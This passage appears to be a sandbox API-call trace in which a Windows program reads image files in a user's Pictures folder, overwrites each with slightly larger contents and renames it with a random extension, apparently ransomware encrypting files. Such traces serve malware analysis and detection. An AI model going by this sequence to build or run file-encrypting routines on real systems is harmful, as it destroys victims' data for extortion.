ftCreationTime.dwHighDateTime=0x1d8b90e, ftLastAccessTime.dwLowDateTime=0xa51b7fd0, ftLastAccessTime.dwHighDateTime=0x1d8bb45, ftLastWriteTime.dwLowDateTime=0xa51b7fd0, ftLastWriteTime.dwHighDateTime=0x1d8bb45, nFileSizeHigh=0x0, nFileSizeLow=0xcee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pug7GCbO20-2i-2ey5N.jpg", cAlternateFileName="PUG7GC~1.JPG")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c088e0, ftCreationTime.dwHighDateTime=0x1d8bc53, ftLastAccessTime.dwLowDateTime=0x6499a930, ftLastAccessTime.dwHighDateTime=0x1d8bd68, ftLastWriteTime.dwLowDateTime=0x6499a930, ftLastWriteTime.dwHighDateTime=0x1d8bd68, nFileSizeHigh=0x0, nFileSizeLow=0x9e03, dwReserved0=0x0, dwReserved1=0x0, cFileName="qs5-GxiBYrtogzhqzA1S.png", cAlternateFileName="QS5-GX~1.PNG")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t8c4s QgxZhGJp90o", cAlternateFileName="T8C4SQ~1")) returned 1 [0156.922] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853dd50, ftCreationTime.dwHighDateTime=0x1d8ba55, ftLastAccessTime.dwLowDateTime=0xa88e0510, ftLastAccessTime.dwHighDateTime=0x1d8bc68, ftLastWriteTime.dwLowDateTime=0xa88e0510, ftLastWriteTime.dwHighDateTime=0x1d8bc68, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="t8c4s QgxZhGJp90o", cAlternateFileName="T8C4SQ~1")) returned 0 [0156.922] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0156.923] SetErrorMode (uMode=0x0) returned 0x1 [0156.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", lpFilePart=0x0) returned 0x45 [0156.923] SetErrorMode (uMode=0x1) returned 0x0 [0156.923] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\2rqisldpo4fwq3naawxd.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.923] GetFileType (hFile=0x1d0) returned 0x1 [0156.924] SetErrorMode (uMode=0x0) returned 0x1 [0156.927] GetFileType (hFile=0x1d0) returned 0x1 [0156.927] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x1ae6 [0156.927] ReadFile (in: hFile=0x1d0, lpBuffer=0x29027e8, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29027e8*, lpNumberOfBytesRead=0x21d418*=0x1ae6, lpOverlapped=0x0) returned 1 [0156.948] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", lpFilePart=0x0) returned 0x45 [0156.948] SetErrorMode (uMode=0x1) returned 0x0 [0156.949] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\2rqisldpo4fwq3naawxd.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.950] GetFileType (hFile=0x1d0) returned 0x1 [0156.950] SetErrorMode (uMode=0x0) returned 0x1 [0156.950] GetFileType (hFile=0x1d0) returned 0x1 [0156.950] WriteFile (in: hFile=0x1d0, lpBuffer=0x29eacb8*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29eacb8*, lpNumberOfBytesWritten=0x21d498*=0x1af0, lpOverlapped=0x0) returned 1 [0156.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg", lpFilePart=0x0) returned 0x45 [0156.952] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg.cxzxwr", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg.cxzxwr", lpFilePart=0x0) returned 0x4c [0156.952] SetErrorMode (uMode=0x1) returned 0x0 [0156.952] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\2rqisldpo4fwq3naawxd.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17cdc020, ftCreationTime.dwHighDateTime=0x1d8b136, ftLastAccessTime.dwLowDateTime=0x57617540, ftLastAccessTime.dwHighDateTime=0x1d8b9df, ftLastWriteTime.dwLowDateTime=0x5a06b840, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1af0)) returned 1 [0156.953] SetErrorMode (uMode=0x0) returned 0x1 [0156.953] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\2rqisldpo4fwq3naawxd.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\2rQiSlDpO4fwQ3nAaWxD.jpg.cxzxwr" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\2rqisldpo4fwq3naawxd.jpg.cxzxwr")) returned 1 [0156.955] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", lpFilePart=0x0) returned 0x45 [0156.955] SetErrorMode (uMode=0x1) returned 0x0 [0156.955] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\9mar_f4ruqv1if5f lk0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0156.955] GetFileType (hFile=0x1d0) returned 0x1 [0156.955] SetErrorMode (uMode=0x0) returned 0x1 [0156.956] GetFileType (hFile=0x1d0) returned 0x1 [0156.956] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x74d5 [0156.956] ReadFile (in: hFile=0x1d0, lpBuffer=0x29ed768, nNumberOfBytesToRead=0x74d5, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29ed768*, lpNumberOfBytesRead=0x21d418*=0x74d5, lpOverlapped=0x0) returned 1 [0157.061] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", lpFilePart=0x0) returned 0x45 [0157.062] SetErrorMode (uMode=0x1) returned 0x0 [0157.062] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\9mar_f4ruqv1if5f lk0.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.064] GetFileType (hFile=0x1d0) returned 0x1 [0157.065] SetErrorMode (uMode=0x0) returned 0x1 [0157.065] GetFileType (hFile=0x1d0) returned 0x1 [0157.065] WriteFile (in: hFile=0x1d0, lpBuffer=0x28bd9c8*, nNumberOfBytesToWrite=0x74e0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28bd9c8*, lpNumberOfBytesWritten=0x21d498*=0x74e0, lpOverlapped=0x0) returned 1 [0157.066] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png", lpFilePart=0x0) returned 0x45 [0157.067] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png.5andv5", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png.5andv5", lpFilePart=0x0) returned 0x4c [0157.067] SetErrorMode (uMode=0x1) returned 0x0 [0157.067] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\9mar_f4ruqv1if5f lk0.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203f7540, ftCreationTime.dwHighDateTime=0x1d8b515, ftLastAccessTime.dwLowDateTime=0x65cdfb10, ftLastAccessTime.dwHighDateTime=0x1d8bc16, ftLastWriteTime.dwLowDateTime=0x5a19c340, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x74e0)) returned 1 [0157.067] SetErrorMode (uMode=0x0) returned 0x1 [0157.067] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\9mar_f4ruqv1if5f lk0.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\9mAR_f4ruqv1If5F lk0.png.5andv5" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\9mar_f4ruqv1if5f lk0.png.5andv5")) returned 1 [0157.068] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", lpFilePart=0x0) returned 0x3b [0157.068] SetErrorMode (uMode=0x1) returned 0x0 [0157.068] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\l9bvbqtdpu.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.068] GetFileType (hFile=0x1d0) returned 0x1 [0157.068] SetErrorMode (uMode=0x0) returned 0x1 [0157.068] GetFileType (hFile=0x1d0) returned 0x1 [0157.068] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x144b1 [0157.069] ReadFile (in: hFile=0x1d0, lpBuffer=0x28c5e38, nNumberOfBytesToRead=0x144b1, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28c5e38*, lpNumberOfBytesRead=0x21d418*=0x144b1, lpOverlapped=0x0) returned 1 [0157.090] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", lpFilePart=0x0) returned 0x3b [0157.090] SetErrorMode (uMode=0x1) returned 0x0 [0157.090] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\l9bvbqtdpu.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.092] GetFileType (hFile=0x1d0) returned 0x1 [0157.092] SetErrorMode (uMode=0x0) returned 0x1 [0157.092] GetFileType (hFile=0x1d0) returned 0x1 [0157.092] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e2aa0*, nNumberOfBytesToWrite=0x144c0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29e2aa0*, lpNumberOfBytesWritten=0x21d498*=0x144c0, lpOverlapped=0x0) returned 1 [0157.095] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif", lpFilePart=0x0) returned 0x3b [0157.095] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif.hzus44", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif.hzus44", lpFilePart=0x0) returned 0x42 [0157.095] SetErrorMode (uMode=0x1) returned 0x0 [0157.095] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\l9bvbqtdpu.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x939e5420, ftCreationTime.dwHighDateTime=0x1d8b5d8, ftLastAccessTime.dwLowDateTime=0x825f7c30, ftLastAccessTime.dwHighDateTime=0x1d8b659, ftLastWriteTime.dwLowDateTime=0x5a1c24a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x144c0)) returned 1 [0157.096] SetErrorMode (uMode=0x0) returned 0x1 [0157.096] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\l9bvbqtdpu.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\L9bVBQTdPu.gif.hzus44" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\l9bvbqtdpu.gif.hzus44")) returned 1 [0157.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", lpFilePart=0x0) returned 0x44 [0157.099] SetErrorMode (uMode=0x1) returned 0x0 [0157.099] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\pug7gcbo20-2i-2ey5n.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.100] GetFileType (hFile=0x1d0) returned 0x1 [0157.100] SetErrorMode (uMode=0x0) returned 0x1 [0157.100] GetFileType (hFile=0x1d0) returned 0x1 [0157.100] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xcee3 [0157.100] ReadFile (in: hFile=0x1d0, lpBuffer=0x29f7ea0, nNumberOfBytesToRead=0xcee3, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29f7ea0*, lpNumberOfBytesRead=0x21d418*=0xcee3, lpOverlapped=0x0) returned 1 [0157.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", lpFilePart=0x0) returned 0x44 [0157.171] SetErrorMode (uMode=0x1) returned 0x0 [0157.171] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\pug7gcbo20-2i-2ey5n.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.173] GetFileType (hFile=0x1d0) returned 0x1 [0157.173] SetErrorMode (uMode=0x0) returned 0x1 [0157.173] GetFileType (hFile=0x1d0) returned 0x1 [0157.173] WriteFile (in: hFile=0x1d0, lpBuffer=0x291a420*, nNumberOfBytesToWrite=0xcef0, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x291a420*, lpNumberOfBytesWritten=0x21d498*=0xcef0, lpOverlapped=0x0) returned 1 [0157.190] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg", lpFilePart=0x0) returned 0x44 [0157.191] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg.fz23bc", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg.fz23bc", lpFilePart=0x0) returned 0x4b [0157.191] SetErrorMode (uMode=0x1) returned 0x0 [0157.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\pug7gcbo20-2i-2ey5n.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43ca8a0, ftCreationTime.dwHighDateTime=0x1d8b90e, ftLastAccessTime.dwLowDateTime=0xa51b7fd0, ftLastAccessTime.dwHighDateTime=0x1d8bb45, ftLastWriteTime.dwLowDateTime=0x5a2cce40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xcef0)) returned 1 [0157.191] SetErrorMode (uMode=0x0) returned 0x1 [0157.191] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\pug7gcbo20-2i-2ey5n.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\pug7GCbO20-2i-2ey5N.jpg.fz23bc" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\pug7gcbo20-2i-2ey5n.jpg.fz23bc")) returned 1 [0157.192] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", lpFilePart=0x0) returned 0x45 [0157.192] SetErrorMode (uMode=0x1) returned 0x0 [0157.192] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\qs5-gxibyrtogzhqza1s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.193] GetFileType (hFile=0x1d0) returned 0x1 [0157.193] SetErrorMode (uMode=0x0) returned 0x1 [0157.193] GetFileType (hFile=0x1d0) returned 0x1 [0157.193] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x9e03 [0157.193] ReadFile (in: hFile=0x1d0, lpBuffer=0x29282b8, nNumberOfBytesToRead=0x9e03, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29282b8*, lpNumberOfBytesRead=0x21d418*=0x9e03, lpOverlapped=0x0) returned 1 [0157.225] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", lpFilePart=0x0) returned 0x45 [0157.225] SetErrorMode (uMode=0x1) returned 0x0 [0157.226] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\qs5-gxibyrtogzhqza1s.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0157.227] GetFileType (hFile=0x1d0) returned 0x1 [0157.227] SetErrorMode (uMode=0x0) returned 0x1 [0157.228] GetFileType (hFile=0x1d0) returned 0x1 [0157.228] WriteFile (in: hFile=0x1d0, lpBuffer=0x2853f30*, nNumberOfBytesToWrite=0x9e10, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2853f30*, lpNumberOfBytesWritten=0x21d498*=0x9e10, lpOverlapped=0x0) returned 1 [0157.229] CloseHandle (hObject=0x1d0) returned 1 [0157.231] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png", lpFilePart=0x0) returned 0x45 [0157.231] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png.m3pobg", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png.m3pobg", lpFilePart=0x0) returned 0x4c [0157.231] SetErrorMode (uMode=0x1) returned 0x0 [0157.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\qs5-gxibyrtogzhqza1s.png"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c088e0, ftCreationTime.dwHighDateTime=0x1d8bc53, ftLastAccessTime.dwLowDateTime=0x6499a930, ftLastAccessTime.dwHighDateTime=0x1d8bd68, ftLastWriteTime.dwLowDateTime=0x5a319100, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9e10)) returned 1 [0157.231] SetErrorMode (uMode=0x0) returned 0x1 [0157.232] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Pictures\\hdQc_udJ4lFbk4Ni\\qs5-GxiBYrtogzhqzA1S.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\hdqc_udj4lfbk4ni\\qs5-gxibyrtogzhqza1s.png"), 